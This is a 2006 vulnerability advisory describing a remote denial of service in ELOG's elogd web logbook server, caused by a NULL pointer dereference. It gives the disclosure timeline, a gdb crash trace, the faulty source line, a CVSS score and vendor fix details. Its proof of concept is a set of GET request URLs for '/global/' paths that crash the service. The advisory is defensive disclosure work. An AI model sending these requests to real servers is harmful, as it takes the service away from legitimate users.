Remote exploitation of a denial of service vulnerability in ELOG's
elogd server allows attackers to crash the service, thereby preventing
legitimate access.
(http://midas.psi.ch/elog/index.html)
Attached is the advisory which details the vulnerability.
Thanks,
OS2A
ELOG Web Logbook Remote Denial of Service Vulnerability
OS2A ID: OS2A_1008 Status:
10/31/2006 Issue Discovered
11/08/2006 Reported to the Vendor
11/08/2006 Fixed by Vendor
11/10/2006 Advisory Released
Class: Denial of Service Severity: Medium
Overview:
---------
The Electronic Logbook (ELOG) is part of a family of applications known as
weblogs. ELOG is a remarkable implementation of a weblog in its simplicity of
use and versatility.
http://midas.psi.ch/elog/index.html
Description:
------------
Remote exploitation of a denial of service vulnerability in ELOG's
elogd server allows attackers to crash the service, thereby preventing
legitimate access.
The [global] section in configuration file elogd.cfg is used for settings
common to all logbooks. The vulnerability is due to improper handling of an
HTTP GET request if logbook name 'global' (or any logbook name prefixed
with global) is used in the request. When such a request is received,
a NULL pointer dereference occurs, leading to a crash of the service.
Only authenticated users can exploit this vulnerability if the application
is configured with password.
Impact:
-------
Successful exploitation allows a remote attacker to crash the elogd server.
Affected Software(s):
---------------------
ELOG 2.6.2 (SVN revision 1748) and prior.
Debian package elog 2.6.2+r1719-1 and prior are also vulnerable.
Proof of Concept:
-----------------
The HTTP GET request given below is sufficient to crash affected server:
http://www.example.com/global/
or
Create a logbook [global_xxx] or [global xxx] in elogd.cfg
and try to access it using a browser.
http://www.example.com/global_xxx/
http://www.example.com/global%20xxx/
Analysis:
-----------
#gdb ./elogd
...
...
(gdb) break show_elog_list
Breakpoint 2 at 0x809d6e0
(gdb) c
Continuing.
(no debugging symbols found)
elogd 2.6.2 built Nov 8 2006, 01:25:48 revision 1699
Falling back to default group "elog"
Falling back to default user "elog"
Indexing logbooks ... done
Server listening on port 8080 ...
Breakpoint 2, 0x0809d6e0 in show_elog_list ()
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x0809eb7a in show_elog_list ()
(gdb) bt
#0 0x0809eb7a in show_elog_list ()
#1 0x00000000 in ?? ()
(gdb) i r
eax 0x0 0
ecx 0x9d43d88 164904328
edx 0x0 0
ebx 0x0 0
esp 0xbfa8aca0 0xbfa8aca0
ebp 0x80df40c 0x80df40c
esi 0xbfb27050 -1078824880
edi 0x0 0
eip 0x809eb7a 0x809eb7a
eflags 0x200246 2097734
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb) x/i $eip
0x809eb7a <show_elog_list+5274>: mov (%eax),%eax
The vulnerable code is at Line:16774 of elogd.c,
n_msg = *lbs->n_el_index;
where the pointer lbs is dereferenced before being null checked.
--- elogd.c, show_elog_list() -----
} else {
n_logbook = 1;
n_msg = *lbs->n_el_index;
}
msg_list = xmalloc(sizeof(MSG_LIST) * n_msg);
---elogd.c, show_elog_list() -----
CVSS Score Report:
-----------------
ACCESS_VECTOR = REMOTE
ACCESS_COMPLEXITY = LOW
AUTHENTICATION = NOT_REQUIRED
CONFIDENTIALITY_IMPACT = NONE
INTEGRITY_IMPACT = NONE
AVAILABILITY_IMPACT = COMPLETE
IMPACT_BIAS = AVAILABILITY
EXPLOITABILITY = FUNCTIONAL
REMEDIATION_LEVEL = OFFICIAL_FIX
REPORT_CONFIDENCE = CONFIRMED
CVSS Base Score = 5.0 (AV:R/AC:L/Au:NR/C:N/I:N/A:C/B:A)
CVSS Temporal Score = 4.1
Risk factor = Medium
Vendor Response:
---------------
Vendor has acknowledged the vulnerability and released a fixed version,
ELOG version 2.6.2-7 (SVN revision 1749).
http://savannah.psi.ch/websvn/log.php?repname=elog&path=%2Ftrunk%2F&rev=
0&sc=0&isdir=1
(Revisions 1746-1749)
Debian has fixed this issue in elog_2.6.2+r1754-1,
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=397875
Solution:
---------
Install the fixed version,
ELOG version 2.6.2-7 (SVN revision 1749) or later.
http://midas.psi.ch/elog/download.html
For debian, update to elog_2.6.2+r1754-1 or later.
Credits:
-------
Jayesh KS and Arun Kethipelly of OS2A have been credited with the discovery and
analysis of this vulnerability.
